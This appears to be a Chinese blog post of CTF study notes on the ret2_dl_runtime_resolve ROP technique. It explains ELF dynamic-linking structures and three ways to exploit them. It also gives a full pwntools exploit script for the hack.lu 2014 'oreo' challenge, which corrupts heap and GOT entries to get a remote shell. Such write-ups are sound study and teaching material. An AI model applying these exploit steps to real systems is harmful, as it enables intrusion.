高级ROP ret2_dl_runtime_resolve

我觉得这很难,所以开帖子记录自己的学习过程。 要学会这个利用方法首先要知道ELF文件的基本结构和动态链接的基本过程。 文章内容都是我自己的理解,出现错误也是非常正常的,欢迎指正。

动态链接:

  1. 在第一次调用plt的时候,会调用_dl_runtime_resolve
  2. 从链接库中得到地址,并且赋值到got表对应位置中。 而这个ROP利用的就是1到2之间的过程,首先我们要知道,调用_dl_runtime_resolve的时候,会传入两个参数进去,第一个参数对应的是link_map的地址,第二个参数对应的是地址在.rel.plt中的偏移。

link_map中有一个东西是.dynamic .dynamic中有三个东西分别对应 *(DT_STRTAB => .dynstr, DT_SYMTAB => .dynsym, DT_JMPREL =>.rel.plt)* DYNAMIC.png 这三个东西分别是啥呢,来介绍一下。

DT_STRTAB(ELF String Table) 顾名思义,str => string。这一块储存的就是导入函数的名称。 首先我们去400448h这个地址看一下。 ELF_String_Table.png 没错,这里储存的就是所有导出函数的名称,这个表开头第一位是\x00,每一个名字结尾还有个\x00,标准的C语言字符串结构。

DT_SYMTAB(ELF Symbol Table) ELF_Symbol_Table.png 这里放的是一个结构体。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
typedef struct elf32_sym
{
    Elf32_Word    st_name; //符号名,是相对.dynstr起始的偏移
    Elf32_Addr    st_value;
    Elf32_Word    st_size;
    unsigned char st_info; //对于导入函数符号而言,它是0x12
    unsigned char st_other;
    Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0

typedef struct elf64_sym 
{
    Elf64_Word st_name;          // 符号名称,字符串表中的索引
    // STT_OBJECT表示符号关联到一个数据对象,如变量、数组或指针;
    // STT_FUNC表示符号关联到一个函数;
    // STT_NOTYPE表示符号类型未指定,用于未定义引用
    unsigned char st_info;         // 类型和绑定属性:STB_LOCAL/STB_GLOBAL/STB_WEAK;
    unsigned char st_other;      // 语义未定义,0
    Elf64_Half st_shndx;           // 相关节的索引,符号将绑定到该节,此外SHN_ABS指定符号是绝对值,不因重定位而改变,SHN_UNDEF标识未定义符号。
    Elf64_Addr st_value;           // 符号的值
    Elf64_Xword st_size;          // 符号的长度,如一个指针的长度或struct对象中包含的字节数。
}Elf64_Sym;

要注意的是

  1. 第一个字段放的不是字符串,而是在STRTAB中的索引
  2. 32位和64位的这个数据结构的大小不一样,32位是0x10,64位是0x18。

DT_JMPREL(ELF JMPREL Relocation Table) JMPREL.png 这也是个数据结构,不过简单多了

1
2
3
4
5
6
7
typedef struct
{
    Elf32_Addr    r_offset; //指向GOT表的指针
    Elf32_Word    r_info;
    //一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个07
    //1和3是这个导入函数的符号在.dynsym中的下标,
} Elf32_Rel;

我来简单说明一下: 第一个参数就是指向GOT表的指针,用于等下把地址写入GOT表。 第二个参数是要把图中我选中的黄色部分去掉,也就是(val) » 8 的值,这个值是这个导入的函数在DT_SYMTAB中的下标。 这个0x7结尾是导入函数规定的。

_dl_runtime_resolve会干什么?

_dl_runtime_resolve

  1. link_map(第一个参数)访问.dynamic,取出.dynstr, .dynsym, .rel.plt的指针
  2. .rel.plt + Offset(第二个参数),求出当前函数的在重定位表项(.rel.plt)中Elf32_Rel具体位置(指针),记作rel
  3. rel->r_info » 8作为.dynsym的下标,求出当前函数在符号表项(.dynsym)中Elf32_Sym的具体位置(指针),记作sym
  4. .dynstr + sym->st_name,得到符号名字符串指针
  5. 在动态链接库查找这个字符串对应的函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
  6. 调用这个函数

利用方法

1.(No RELRO)直接改写.dynstr 直接改写.dynstr中对应函数字符串内容为我们想要的内容。 比如修改free为system,这样free(buf)的时候,如果buf的内容是 “/bin/sh”, 那么就实现了system("/bin/sh")

2.修改调用时的偏移(第二个参数),指向我们构造的假的rel 我们知道_dl_runtime_resolve中利用我们这个偏移来计算出rel的位置,而正好这个偏移是没有考虑到是否越界访问的,所以可以实现让其指向我们伪造的rel结构。 都伪造好以后可以手动调用_dl_runtime_resolve达到修改的目的,两个参数(link_map, offset)。 这里要注意,虽然我们说的第一个参数,第二个参数,但是实际上,第二个参数比第一个参数先push。所以说我们这里虽然不知道link_map的地址,但是我们可以利用plt里面的push link_map的位置来执行调用,就是可以跳过push offset的那一块,直接从后面开始。

3.伪造link_map 首先要解决的是,程序获取对应符号的vernum不能够报错 解决方案 1.64位下 link_map + 0x1c8 要置0,使程序不进入if循环。前提是要泄漏出link_map的地址,位置在rop.got() + 8。 2.修改.dynamic中versym的值,要求NO RELRO

出错位置在于这里:

1
2
3
4
5
6
7
8
9
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) //l->info[0x6fffffff - tag + DT_NUM + DT_THISPROCNUM]
{
  const ElfW(Half) *vernum =
    (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
  ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
  version = &l->l_versions[ndx];
  if (version->hash == 0)
    version = NULL;
}

其他细节可以参照roputils里面的代码,这个程序利用的就是伪造link_maps来操作,所以官方的x64 demo中有对link_map + 0x1c8进行修改。 所以我们如果要利用roputils在x64下进行ret2_dl_runtime_resolve,那么需要以下步骤

  1. 用write对link_map的指针进行读取(在got + 8位置)
  2. 用read对link_map + 0x1c8这个位置进行写入0。
  3. ret2_dl_runtime_resolve 由于以上需要的栈溢出大小较大,所以一般结合栈转移来进行(roputils中提供rop.pivot(addr)来进行栈转移,使用也较为方便) [github repo=“inaz2/roputils” /]

例题:

结合方法1:hack.lu CTF 2014-OREO 在NO RELRO的情况下,修改.dynstr指针来ret2_dl_runtime_resolve。 我个人认为这个构造方法挺难的。我整了三四个小时才成功搞定这道题的ret2_dl_runtime_resolve的做法。 我这里的方法大概可以描述如下

  1. 修改.dynstr指针
  2. 伪造system字符串作为fake .dynstr
  3. 修改[email protected]为free@plt + 6,也就是没dl_runtime_resolve时候的状态,只有在这个状态下才会执行dl_runtime_resolve去解析,否则会直接执行free。但是覆盖的时候要注意到结尾的\x0A会覆盖到fgets的got表,而且fgets在接下来会被调用到,所以还要leak fgets的内容,并且覆盖成正确的内容,这时候\x0A会覆盖到一个不会执行到的地方,就没关系了。
  4. free,这时候free传入的地址是前面构造system的位置和另一个堆,所以这里选择构造sh\x00system\x00,并且把fake .dynstr往后移动三位。如果这里直接add再free的话,但是这时候add会报错,原因是之前构造指向的所以这个方案不可以。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
from LibcSearcher import *

#r = process('./oreo')
r = remote('wildwildweb.fluxfingers.net', 1414)
elf = ELF('./oreo')

def choice(idx):
    r.sendline(str(idx))

def add_data(data):
    choice(1)
    r.sendline('')
    r.sendline(data)

def add(next_ptr):
    choice(1)
    r.sendline('a' * (0x38 - 0x19 - 0x4) + p32(next_ptr))
    r.sendline('sh\x00')

def show():
    choice(2)

def free():
    choice(3)

def add_msg(msg):
    choice(4)
    r.sendline(msg)

def show_stats():
    choice(5)

for i in range(0x40 - 0x1):
    add(0)
order_msg_ptr = 0x0804A2A8
order_msg_chunk = 0x0804A2C0
dynstr_addr = 0x0804A17C
add_msg(p32(0) + p32(0x41) + '\x00' * 0x38 + p32(0x18)) #nextChunk == \x00 && nextsize = 0x18
add(order_msg_chunk + 0x8) #order_msg_chunk + 0x8 == chunk content
free() #free fake chunk

#UAF:change fake chunk fd = order_msg_ptr struct
add_msg(p32(0) + p32(0x41) + p32(order_msg_ptr - 0x8) + '\x00' * 0x34 + p32(0x18)) 

add_data('') #get fake chunk

#change order_ptr to dynstr_addr & UAF2:change fake chunk fd = order_msg_ptr_struct
add_data(p32(dynstr_addr) + 'a' * 0x14 + p32(0) + p32(0x41) + p32(order_msg_ptr - 0x8)) 

#0x8 is fake chunk struct; 0x3 is sh\x00; -0x82 is offset of 'free' in .dynstr; other hex is copy from ida
add_msg(p32(0x5) + p32(order_msg_chunk + 0x8 + 0x3 - 0x82) + p32(0x6) + p32(0x80481F8))

add_data('sh\x00system\x00') #get fake chunk
add_data(p32(elf.got['free'])) #change order_ptr to [email protected]
show_stats() #leak fgets@plt for next change
r.recvuntil('\xf7')
fgets_addr = u32(r.recvuntil('\xf7')[-4:])
#change [email protected] => free@plt + 6; [email protected] is not change
add_msg(p32(elf.plt['free'] + 6) + p32(fgets_addr))

#system(unknown); system(sh\x00system\x00) => system(sh)
free()

r.interactive()

结合方法3:keer’s bug (借助roputils) https://blog.wjhwjhn.com/archives/73/

参考链接

[原创][新手向]ret2dl-resolve详解 https://bbs.pediy.com/thread-227034.htm

0%